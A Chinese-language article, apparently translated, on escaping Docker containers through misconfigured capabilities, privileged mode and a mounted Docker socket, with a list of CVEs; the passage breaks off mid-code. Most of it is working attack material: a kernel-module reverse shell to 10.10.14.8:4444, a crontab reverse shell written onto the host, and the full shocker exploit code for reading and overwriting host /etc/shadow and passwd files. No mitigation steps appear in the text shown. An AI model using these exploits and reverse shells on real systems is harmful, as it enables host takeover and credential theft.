概括
所提供的网站内容深入探讨了逃离 Docker 容器的高级技术,包括常见的错误配置、CVE 漏洞和进程注入,以及详细的示例和漏洞代码。
抽象的
该网站深入探讨了与 Docker 容器化相关的安全挑战,强调了由于配置错误和漏洞导致容器逃逸的潜在风险。它概述了错误配置的综合列表,例如SYS_MODULE滥用、SYS_ADMIN滥用、特权容器、安装 Docker 套接字和DAC_READ_SEARCH滥用等。本文还介绍了 CVE 目录,包括臭名昭著的“Dirty Cow”(CVE-2016-5195),可以利用它来获取未经授权的访问或在主机系统内提升权限。内容提供了实际示例和漏洞代码,以说明攻击者如何利用这些漏洞逃离容器边界并破坏主机。此外,它还讨论了进程注入作为在主机内存空间内执行任意代码的方法的危险性。该网站是网络安全专业人员了解和减轻与 Docker 容器逃逸相关的风险的资源。
观点
- 作者表达了对在 Docker 环境中采取适当配置和安全措施以防止容器逃逸的紧迫感。
- 本文的基本假设是读者具有技术背景,因为内容包括详细的漏洞代码,并假设读者熟悉 Linux 系统调用和 Docker 功能。
- 该网站表示,尽管集装箱化有诸多好处,但安全性也不容忽视,需要持续保持警惕以防范不断演变的威胁。
- 特定 CVE 及其相关漏洞的纳入表明,历史漏洞仍然存在,如果不加以妥善处理,可能会被用来危害系统。
- 作者可能认为,实际示例和代码片段是理解和防止与 Docker 容器相关的安全漏洞的有效教育工具。
- 内容暗示容器安全的责任不仅在于开发人员,还在于管理和监督 Docker 部署的运营商和安全团队。
突破:逃离 Docker 容器的 26 种高级技巧
探索 Docker 容器逃逸技术的复杂性。从错误配置到利用 CVE,了解如何保护您的容器免受最新安全漏洞的侵害。
软件开发和部署将容器化的应用推向了新的高度,简化了应用程序部署,并为我们管理和扩展应用程序的方式带来了范式转变。软件开发和部署将容器化的应用推向了新的高度,简化了应用程序部署,并为我们管理和扩展应用程序的方式带来了范式转变。
凭借其令人难以置信的优势,Docker 成为开发人员和企业的热门选择也就不足为奇了。它推动了容器化的采用,使其达到了新的高度,简化了应用程序部署,并为我们管理和扩展应用程序的方式带来了范式转变。
然而,需要注意的是,Docker 容器确实带来了安全挑战,尤其是容器逃逸的风险。但只要采取正确的预防措施和专业知识,这些挑战就可以轻松克服。
我们将涵盖从错误配置到 CVE 漏洞的所有内容,以便您可以对容器安全充满信心。准备好探索令人兴奋的 Docker 容器逃逸技术世界吧!
袭击事件概述
A. 导致逃逸的常见配置错误
- SYS_MODULE Abuse
- SYS_ADMIN Abuse
- Privileged Container
- Mounting Docker Socket
- DAC_READ_SEARCH Abuse
- DAC_OVERRIDE Abuse
- Process Injection
- Dangerous mounts under Kubernetes
- Mount procfs
B. CVE
- CVE-2016–5195 “Dirty cow”
- CVE-2016–9962
- CVE-2017–1000112
- CVE-2017–1002101
- CVE-2017–7308 (Ubuntu 16.04.6)
- CVE-2018–15664
- CVE-2018–18955
- CVE-2019–14271
- CVE-2019–5736
- CVE-2020–14386
- CVE-2020–15257
- CVE-2021–22555
- CVE-2022–0185
- CVE-2022–0492
- CVE-2022–0847 “Dirty Pipe”
- CVE-2022–1227 (podman)
- CVE-2024–21626
Docker 安全简介
从本质上讲,Docker 是一种旨在通过容器更轻松地创建、部署和运行应用程序的工具。容器允许开发人员将应用程序及其所需的所有部分(例如库和其他依赖项)打包在一起,并将其作为一个包发送出去。
Docker 在增强应用程序的可移植性和效率的同时,也带来了独特的安全挑战。容器在设计上是相互隔离的,并且与主机系统是隔离的,但它们并非坚不可摧。
Docker 容器的安全性至关重要,不仅为了其托管的应用程序的完整性,而且为了其内部运行的更广泛的生态系统。
了解容器逃逸
容器逃逸顾名思义就是:恶意代码或攻击者突破容器的限制,访问主机系统或其他容器的一种方法。
此类逃逸可能导致未经授权访问敏感数据、系统控制,并可能危及其他容器或整个系统。
容器逃逸的影响不可低估,因为它们会破坏容器环境的基础安全模型。
集装箱逃逸可以通过多种方式实现,但主要分为三类:
- 配置错误,
- 内核漏洞,
- 以及 CVE(通用漏洞和暴露)漏洞。
A. 导致逃逸的常见配置错误
Docker 设置中的错误配置往往是导致容器逃逸的致命弱点。
让我们深入研究一些最严重的错误配置:
1. SYS_MODULE 滥用
此功能允许加载或卸载内核模块。当容器在没有必要的情况下被赋予此类功能时,它为内核操纵和逃逸打开了通道。
当容器使用该cap_sys_module功能运行时,它可以将内核模块注入主机的运行时内核,因为隔离是在操作系统级别而不是内核/硬件级别,并且容器最终使用 Docker 运行时引擎与主机的内核进行交互。
您会注意到容器运行了附加cap_sys_module功能,当您使用默认参数启动容器时,该功能并未正确添加。
创建容器
<code><span class="code-snippet_outer">$ docker run -it --cap-drop=ALL --cap-add=SYS_MODULE ubuntu:<主机操作系统版本> bash </span></code><code><span class="code-snippet_outer">$ docker run -it --cap-drop=ALL --cap-add=SYS_MODULE --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE ubuntu:<主机操作系统版本> bash</span></code>
容器中的依赖项
<code><span class="code-snippet_outer">apt install make </span></code><code><span class="code-snippet_outer">apt install -y vim # 或任何其他编辑器</span></code><code><span class="code-snippet_outer">apt install -y netcat </span></code><code><span class="code-snippet_outer">apt install -y gcc # 容器应使用与主机相同的操作系统版本运行。# 通过“uname -r”获取内核版本</span></code><code><span class="code-snippet_outer">version=$( uname -r) </span></code><code><span class="code-snippet_outer">apt install -y linux-headers- $version </span></code><code><span class="code-snippet_outer">apt install -y kmod </span></code><code><span class="code-snippet_outer">apt install net-tools</span></code>
逃逸方法
<code><span class="code-snippet_outer"># 获取容器的 IP 地址</span></code><code><span class="code-snippet_outer">ifconfig # 复制 revese-shell.c,并将代码中的 IP 地址更新为容器的 IP </span></code><code><span class="code-snippet_outer">vim reverse-shell.c # 复制 Makefile </span></code><code><span class="code-snippet_outer">vim Makefile </span></code><code><span class="code-snippet_outer">make </span></code><code><span class="code-snippet_outer">nc -lnvp 4444 & # 将模块注入内核宿主机</span></code><code><span class="code-snippet_outer">insmod reverse-shell.ko fg %<JOB-ID></span></code>
和:
<code><span class="code-snippet_outer">obj-m +=reverse-shell.o</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">all:</span></code><code><span class="code-snippet_outer"> make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">clean:</span></code><code><span class="code-snippet_outer"> make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean</span></code>
和:
<code><span class="code-snippet_outer">/*</span></code><code><span class="code-snippet_outer">来自: https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_sys_module</span></code><code><span class="code-snippet_outer">*/</span></code><code><span class="code-snippet_outer">#include <linux/kmod.h></span></code><code><span class="code-snippet_outer">#include <linux/module.h></span></code><code><span class="code-snippet_outer">MODULE_LICENSE("GPL");</span></code><code><span class="code-snippet_outer">MODULE_AUTHOR("AttackDefense");</span></code><code><span class="code-snippet_outer">MODULE_DESCRIPTION("LKM reverse shell module");</span></code><code><span class="code-snippet_outer">MODULE_VERSION("1.0");</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};</span></code><code><span class="code-snippet_outer">static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// call_usermodehelper function is used to create user mode processes from kernel space</span></code><code><span class="code-snippet_outer">static int __init reverse_shell_init(void) {</span></code><code><span class="code-snippet_outer"> return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static void __exit reverse_shell_exit(void) {</span></code><code><span class="code-snippet_outer"> printk(KERN_INFO "Exitingn");</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">module_init(reverse_shell_init);</span></code><code><span class="code-snippet_outer">module_exit(reverse_shell_exit);</span></code>
2. SYS_ADMIN 滥用
创建容器
$ sudo docker run -itd --rm --cap -drop=ALL --cap-add=SYS_ADMIN --security-opt apparmor=unconfined --device=/dev/:/ --name=admin ubuntu /bin/bash
发现host中的设备已经挂载到容器中

创建挂载文件夹
<code><span class="code-snippet_outer">mkdir -p</span></code>
选择设备挂载点/(sda2)
<code><span class="code-snippet_outer">mount sda2 /aus</span></code>
获取主机的文件
3. 特权容器
出处:https://zhuanlan.zhihu.com/p/614513965
特权模式逃逸是最简单有效的逃逸方法之一,当使用以特权模式启动的容器时,docker管理员可以通过mount命令在容器内部挂载外部主机磁盘设备,获得整个主机的读写权限,并通过切换根目录、chroot写入ssh公钥、crontab调度等方式直接逃逸到主机。
<code><span class="code-snippet_outer">bash docker pull ubuntu docker run -itd - privileged ubuntu /bin/bash</span></code>
确定您是否以特权模式启动,如果以特权模式启动则 CapEff 对应的掩码值应为 0000003fffffffff。
<code><span class="code-snippet_outer">bash cat /proc/self/status |grep Ca</span></code>
查看docker容器中的系统磁盘分区,并新建目录,将宿主机所在磁盘挂载到新目录下。
<code><span class="code-snippet_outer">bash fdisk -l </span></code><code><span class="code-snippet_outer">mkdir -p /hacker </span></code><code><span class="code-snippet_outer">mount /dev/sda5 /hacker</span></code>
首先nc在kali中使用listen,进入hacker目录,通过touch创建一个sh文件,然后往这个创建的sh文件中写入bash bounce命令,然后写入计划任务/hacker/etc/hacker。
<code><span class="code-snippet_outer">touch /hacker/hacker.sh</span></code><code><span class="code-snippet_outer"> echo "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.sh</span></code><code><span class="code-snippet_outer"> echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab</span></code>
4.安装Docker Socket
出处:https://zhuanlan.zhihu.com/p/614513965
Docker 套接字 ( /var/run/docker.sock) 通常会安装到容器中,以允许在容器内运行 Docker 命令。这种做法可被用来逃离容器,甚至创建具有升级权限的新容器。
当启动一个docker容器的时候,宿主机/var/run/docker.sock文件就被挂载到docker容器中,在docker容器中也可以操作宿主机上的docker。
Docker采用C/S架构,在我们平时使用的Docker命令中,docker是客户端,而服务端的角色则由docker daemon来扮演,两者之间通讯的方式有三种,使用以下命令来操作目标docker,使用docker命令,操作docker:
<code><span class="code-snippet_outer">unix:///var/run/docker.sock tcp://主机:端口 fd://socketfd</span></code>
使用构建漏洞容器
<code><span class="code-snippet_outer">bash docker pull ubuntu:16.04 </span></code><code><span class="code-snippet_outer">docker run - rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash </span></code><code><span class="code-snippet_outer">sudo docker exec -it mountsock /bin/bash</span></code>
在容器内安装docker
<code><span class="code-snippet_outer">bash apt-get update apt-get install docker.io</span></code>
使用 sock 挂载主机目录
<code><span class="code-snippet_outer">bash docker -H unix://var/run/docker.sock images</span></code>
<code><span class="code-snippet_outer">docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu. 16.04 /bin/bash ls /test</span></code>
5. DAC_READ_SEARCH 滥用
该DAC_READ_SEARCH函数允许绕过文件或目录的读取权限检查,并使用“ open_by_handle_at”系统调用读取它。
<code><span class="code-snippet_outer">sudo docker run -itd --cap -drop=ALL --cap -add=DAC_READ_SEARCH --name=dac_read_search ubuntu bash</span></code>
此系统调用允许遍历整个主机的文件系统。在此容器转义技术中,我们将使用“ open_by_handle_at”系统调用来执行从主机读取/etc/passwd和/etc/shadow 文件并将其内容保存在容器中的代码。
下面是该漏洞的 C 代码:
<code><span class="code-snippet_outer">/* From https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_dac_read_search</span></code><code><span class="code-snippet_outer">*/</span></code><code><span class="code-snippet_outer">#include <stdio.h></span></code><code><span class="code-snippet_outer">#include <sys/types.h></span></code><code><span class="code-snippet_outer">#include <sys/stat.h></span></code><code><span class="code-snippet_outer">#include <fcntl.h></span></code><code><span class="code-snippet_outer">#include <errno.h></span></code><code><span class="code-snippet_outer">#include <stdlib.h></span></code><code><span class="code-snippet_outer">#include <string.h></span></code><code><span class="code-snippet_outer">#include <unistd.h></span></code><code><span class="code-snippet_outer">#include <dirent.h></span></code><code><span class="code-snippet_outer">#include <stdint.h></span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// gcc shocker.c -o shocker</span></code><code><span class="code-snippet_outer">// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">struct my_file_handle {</span></code><code><span class="code-snippet_outer"> unsigned int handle_bytes;</span></code><code><span class="code-snippet_outer"> int handle_type;</span></code><code><span class="code-snippet_outer"> unsigned char f_handle[8];</span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">void die(const char *msg)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"> perror(msg);</span></code><code><span class="code-snippet_outer"> exit(errno);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">void dump_handle(const struct my_file_handle *h)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"> fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,</span></code><code><span class="code-snippet_outer"> h->handle_type);</span></code><code><span class="code-snippet_outer"> for (int i = 0; i < h->handle_bytes; ++i) {</span></code><code><span class="code-snippet_outer"> fprintf(stderr,"0x%02x", h->f_handle[i]);</span></code><code><span class="code-snippet_outer"> if ((i + 1) % 20 == 0)</span></code><code><span class="code-snippet_outer"> fprintf(stderr,"n");</span></code><code><span class="code-snippet_outer"> if (i < h->handle_bytes - 1)</span></code><code><span class="code-snippet_outer"> fprintf(stderr,", ");</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> fprintf(stderr,"};n");</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle</span></code><code><span class="code-snippet_outer">*oh)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"> int fd;</span></code><code><span class="code-snippet_outer"> uint32_t ino = 0;</span></code><code><span class="code-snippet_outer"> struct my_file_handle outh = {</span></code><code><span class="code-snippet_outer"> .handle_bytes = 8,</span></code><code><span class="code-snippet_outer"> .handle_type = 1</span></code><code><span class="code-snippet_outer"> };</span></code><code><span class="code-snippet_outer"> DIR *dir = NULL;</span></code><code><span class="code-snippet_outer"> struct dirent *de = NULL;</span></code><code><span class="code-snippet_outer"> path = strchr(path, '/');</span></code><code><span class="code-snippet_outer"> // recursion stops if path has been resolved</span></code><code><span class="code-snippet_outer"> if (!path) {</span></code><code><span class="code-snippet_outer"> memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));</span></code><code><span class="code-snippet_outer"> oh->handle_type = 1;</span></code><code><span class="code-snippet_outer"> oh->handle_bytes = 8;</span></code><code><span class="code-snippet_outer"> return 1;</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> ++path;</span></code><code><span class="code-snippet_outer"> fprintf(stderr, "[*] Resolving '%s'n", path);</span></code><code><span class="code-snippet_outer"> if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)</span></code><code><span class="code-snippet_outer"> die("[-] open_by_handle_at");</span></code><code><span class="code-snippet_outer"> if ((dir = fdopendir(fd)) == NULL)</span></code><code><span class="code-snippet_outer"> die("[-] fdopendir");</span></code><code><span class="code-snippet_outer"> for (;;) {</span></code><code><span class="code-snippet_outer"> de = readdir(dir);</span></code><code><span class="code-snippet_outer"> if (!de)</span></code><code><span class="code-snippet_outer"> break;</span></code><code><span class="code-snippet_outer"> fprintf(stderr, "[*] Found %sn", de->d_name);</span></code><code><span class="code-snippet_outer"> if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {</span></code><code><span class="code-snippet_outer"> fprintf(stderr, "[+] Match: %s ino=%dn", de->d_name, (int)de->d_ino);</span></code><code><span class="code-snippet_outer"> ino = de->d_ino;</span></code><code><span class="code-snippet_outer"> break;</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...n");</span></code><code><span class="code-snippet_outer"> if (de) {</span></code><code><span class="code-snippet_outer"> for (uint32_t i = 0; i < 0xffffffff; ++i) {</span></code><code><span class="code-snippet_outer"> outh.handle_bytes = 8;</span></code><code><span class="code-snippet_outer"> outh.handle_type = 1;</span></code><code><span class="code-snippet_outer"> memcpy(outh.f_handle, &ino, sizeof(ino));</span></code><code><span class="code-snippet_outer"> memcpy(outh.f_handle + 4, &i, sizeof(i));</span></code><code><span class="code-snippet_outer"> if ((i % (1<<20)) == 0)</span></code><code><span class="code-snippet_outer"> fprintf(stderr, "[*] (%s) Trying: 0x%08xn", de->d_name, i);</span></code><code><span class="code-snippet_outer"> if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {</span></code><code><span class="code-snippet_outer"> closedir(dir);</span></code><code><span class="code-snippet_outer"> close(fd);</span></code><code><span class="code-snippet_outer"> dump_handle(&outh);</span></code><code><span class="code-snippet_outer"> return find_handle(bfd, path, &outh, oh);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> closedir(dir);</span></code><code><span class="code-snippet_outer"> close(fd);</span></code><code><span class="code-snippet_outer"> return 0;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">int main(int argc,char* argv[] )</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"> char buf[0x1000];</span></code><code><span class="code-snippet_outer"> int fd1, fd2;</span></code><code><span class="code-snippet_outer"> struct my_file_handle h;</span></code><code><span class="code-snippet_outer"> struct my_file_handle root_h = {</span></code><code><span class="code-snippet_outer"> .handle_bytes = 8,</span></code><code><span class="code-snippet_outer"> .handle_type = 1,</span></code><code><span class="code-snippet_outer"> .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}</span></code><code><span class="code-snippet_outer"> };</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]n"</span></code><code><span class="code-snippet_outer"> "[***] The tea from the 90's kicks your sekurity again. [***]n"</span></code><code><span class="code-snippet_outer"> "[***] If you have pending sec consulting, I'll happily [***]n"</span></code><code><span class="code-snippet_outer"> "[***] forward to my friends who drink secury-tea too! [***]nn<enter>n");</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> read(0, buf, 1);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> // get a FS reference from something mounted in from outside</span></code><code><span class="code-snippet_outer"> if ((fd1 = open("/etc/hosts", O_RDONLY)) < 0)</span></code><code><span class="code-snippet_outer"> die("[-] open");</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> if (find_handle(fd1, argv[1], &root_h, &h) <= 0)</span></code><code><span class="code-snippet_outer"> die("[-] Cannot find valid handle!");</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> fprintf(stderr, "[!] Got a final handle!n");</span></code><code><span class="code-snippet_outer"> dump_handle(&h);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)</span></code><code><span class="code-snippet_outer"> die("[-] open_by_handle");</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> memset(buf, 0, sizeof(buf));</span></code><code><span class="code-snippet_outer"> if (read(fd2, buf, sizeof(buf) - 1) < 0)</span></code><code><span class="code-snippet_outer"> die("[-] read");</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> printf("Success!!n");</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> FILE *fptr;</span></code><code><span class="code-snippet_outer"> fptr = fopen(argv[2], "w");</span></code><code><span class="code-snippet_outer"> fprintf(fptr,"%s", buf);</span></code><code><span class="code-snippet_outer"> fclose(fptr);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> close(fd2); close(fd1);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> return 0;</span></code><code><span class="code-snippet_outer">}</span></code>
接下来,我们将使用“John the Ripper”密码破解器来获取主机用户的密码,该密码可用于与主机建立 SSH 连接。
<code><span class="code-snippet_outer">gcc -o shocker shocker.c</span></code><code><span class="code-snippet_outer"># Use the shocker to read files </span></code><code><span class="code-snippet_outer"># from host:./shocker /host/path /container/path</span></code><code><span class="code-snippet_outer">./shocker /etc/passwd passwd</span></code><code><span class="code-snippet_outer">./shocker /etc/shadow shadow</span></code>
6. DAC 覆盖
该DAC_OVERRIDE函数允许绕过读取、写入和执行权限检查。具有DAC_READ_SEARCH和DAC_OVERRIDE函数的容器可以在主机文件系统上读取和写入文件。
在这次逃脱中,我们将使用这些功能来更新主机上的用户凭据文件,然后使用更新后的凭据登录到主机。
在这个容器逃逸技术中,我们将提出两个选项:
- 通过覆盖主机上的 /etc/shadow和文件来更新用户的登录密码。/etc/passwd
- ~/.ssh/authorized_keys通过使用我们拥有其私钥的生成的 SSH 公钥覆盖主机上的文件来更新用户的 SSH 授权密钥。
<code><span class="code-snippet_outer">docker run -it --cap -drop =ALL --cap -add=DAC_OVERRIDE --cap -add =DAC_READ_SEARCH --cap -add=CHOWN --cap -add=SETGID --cap -add =SETUID --cap -add =FOWNER ubuntu bash</span></code>
您可以使用上述shocker.c漏洞和以下shocker_write.c漏洞:
<code><span class="code-snippet_outer">#include <stdio.h></span></code><code><span class="code-snippet_outer">#include <sys/types.h></span></code><code><span class="code-snippet_outer">#include <sys/stat.h></span></code><code><span class="code-snippet_outer">#include <fcntl.h></span></code><code><span class="code-snippet_outer">#include <errno.h></span></code><code><span class="code-snippet_outer">#include <stdlib.h></span></code><code><span class="code-snippet_outer">#include <string.h></span></code><code><span class="code-snippet_outer">#include <unistd.h></span></code><code><span class="code-snippet_outer">#include <dirent.h></span></code><code><span class="code-snippet_outer">#include <stdint.h></span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// gcc shocker_write.c -o shocker_write</span></code><code><span class="code-snippet_outer">// ./shocker_write /etc/passwd passwd </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">struct my_file_handle {</span></code><code><span class="code-snippet_outer"> unsigned int handle_bytes;</span></code><code><span class="code-snippet_outer"> int handle_type;</span></code><code><span class="code-snippet_outer"> unsigned char f_handle[8];</span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer">void die(const char * msg) {</span></code><code><span class="code-snippet_outer"> perror(msg);</span></code><code><span class="code-snippet_outer"> exit(errno);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">void dump_handle(const struct my_file_handle * h) {</span></code><code><span class="code-snippet_outer"> fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,</span></code><code><span class="code-snippet_outer"> h -> handle_type);</span></code><code><span class="code-snippet_outer"> for (int i = 0; i < h -> handle_bytes; ++i) {</span></code><code><span class="code-snippet_outer"> fprintf(stderr, "0x%02x", h -> f_handle[i]);</span></code><code><span class="code-snippet_outer"> if ((i + 1) % 20 == 0)</span></code><code><span class="code-snippet_outer"> fprintf(stderr, "n");</span></code><code><span class="code-snippet_outer"> if (i < h -> handle_bytes - 1)</span></code><code><span class="code-snippet_outer"> fprintf(stderr, ", ");</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> fprintf(stderr, "};n");</span></code><code><span class="code-snippet_outer">} </span></code><code><span class="code-snippet_outer">int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"> int fd;</span></code><code><span class="code-snippet_outer"> uint32_t ino = 0;</span></code><code><span class="code-snippet_outer"> struct my_file_handle outh = {</span></code><code><span class="code-snippet_outer"> .handle_bytes = 8,</span></code><code><span class="code-snippet_outer"> .handle_type = 1</span></code><code><span class="code-snippet_outer"> };</span></code><code><span class="code-snippet_outer"> DIR * dir = NULL;</span></code><code><span class="code-snippet_outer"> struct dirent * de = NULL;</span></code><code><span class="code-snippet_outer"> path = strchr(path, '/');</span></code><code><span class="code-snippet_outer"> // recursion stops if path has been resolved</span></code><code><span class="code-snippet_outer"> if (!path) {</span></code><code><span class="code-snippet_outer"> memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));</span></code><code><span class="code-snippet_outer"> oh -> handle_type = 1;</span></code><code><span class="code-snippet_outer"> oh -> handle_bytes = 8;</span></code><code><span class="code-snippet_outer"> return 1;</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> ++path;</span></code><code><span class="code-snippet_outer"> fprintf(stderr, "[*] Resolving '%s'n", path);</span></code><code><span class="code-snippet_outer"> if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)</span></code><code><span class="code-snippet_outer"> die("[-] open_by_handle_at");</span></code><code><span class="code-snippet_outer"> if ((dir = fdopendir(fd)) == NULL)</span></code><code><span class="code-snippet_outer"> die("[-] fdopendir");</span></code><code><span class="code-snippet_outer"> for (;;) {</span></code><code><span class="code-snippet_outer"> de = readdir(dir);</span></code><code><span class="code-snippet_outer"> if (!de)</span></code><code><span class="code-snippet_outer"> break;</span></code><code><span class="code-snippet_outer"> fprintf(stderr, "[*] Found %sn", de -> d_name);</span></code><code><span class="code-snippet_outer"> if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {</span></code><code><span class="code-snippet_outer"> fprintf(stderr, "[+] Match: %s ino=%dn", de -> d_name, (int) de -> d_ino);</span></code><code><span class="code-snippet_outer"> ino = de -> d_ino;</span></code><code><span class="code-snippet_outer"> break;</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...n");</span></code><code><span class="code-snippet_outer"> if (de) {</span></code><code><span class="code-snippet_outer"> for (uint32_t i = 0; i < 0xffffffff; ++i) {</span></code><code><span class="code-snippet_outer"> outh.handle_bytes = 8;</span></code><code><span class="code-snippet_outer"> outh.handle_type = 1;</span></code><code><span class="code-snippet_outer"> memcpy(outh.f_handle, & ino, sizeof(ino));</span></code><code><span class="code-snippet_outer"> memcpy(outh.f_handle + 4, & i, sizeof(i));</span></code><code><span class="code-snippet_outer"> if ((i % (1 << 20)) == 0)</span></code><code><span class="code-snippet_outer"> fprintf(stderr, "[*] (%s) Trying: 0x%08xn", de -> d_name, i);</span></code><code><span class="code-snippet_outer"> if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {</span></code><code><span class="code-snippet_outer"> closedir(dir);</span></code><code><span class="code-snippet_outer"> close(fd);</span></code><code><span class="code-snippet_outer"> dump_handle( & outh);</span></code><code><span class="code-snippet_outer"> return find_handle(bfd, path, & outh, oh);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> closedir(dir);</span></code><code><span class="code-snippet_outer"> close(fd);</span></code><code><span class="code-snippet_outer"> return 0;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">int main(int argc, char * argv[]) {</span></code><code><span class="code-snippet_outer"> char buf[0x1000];</span></code><code><span class="code-snippet_outer"> int fd1, fd2;</span></code><code><span class="code-snippet_outer"> struct my_file_handle h;</span></code><code><span class="code-snippet_outer"> struct my_file_handle root_h = {</span></code><code><span class="code-snippet_outer"> .handle_bytes = 8,</span></code><code><span class="code-snippet_outer"> .handle_type = 1,</span></code><code><span class="code-snippet_outer"> .f_handle = {</span></code><code><span class="code-snippet_outer"> 0x02,</span></code><code><span class="code-snippet_outer"> 0,</span></code><code><span class="code-snippet_outer"> 0,</span></code><code><span class="code-snippet_outer"> 0,</span></code><code><span class="code-snippet_outer"> 0,</span></code><code><span class="code-snippet_outer"> 0,</span></code><code><span class="code-snippet_outer"> 0,</span></code><code><span class="code-snippet_outer"> 0</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> };</span></code><code><span class="code-snippet_outer"> fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]n"</span></code><code><span class="code-snippet_outer"> "[***] The tea from the 90's kicks your sekurity again. [***]n"</span></code><code><span class="code-snippet_outer"> "[***] If you have pending sec consulting, I'll happily [***]n"</span></code><code><span class="code-snippet_outer"> "[***] forward to my friends who drink secury-tea too! [***]nn<enter>n");</span></code><code><span class="code-snippet_outer"> read(0, buf, 1);</span></code><code><span class="code-snippet_outer"> // get a FS reference from something mounted in from outside</span></code><code><span class="code-snippet_outer"> if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)</span></code><code><span class="code-snippet_outer"> die("[-] open");</span></code><code><span class="code-snippet_outer"> if 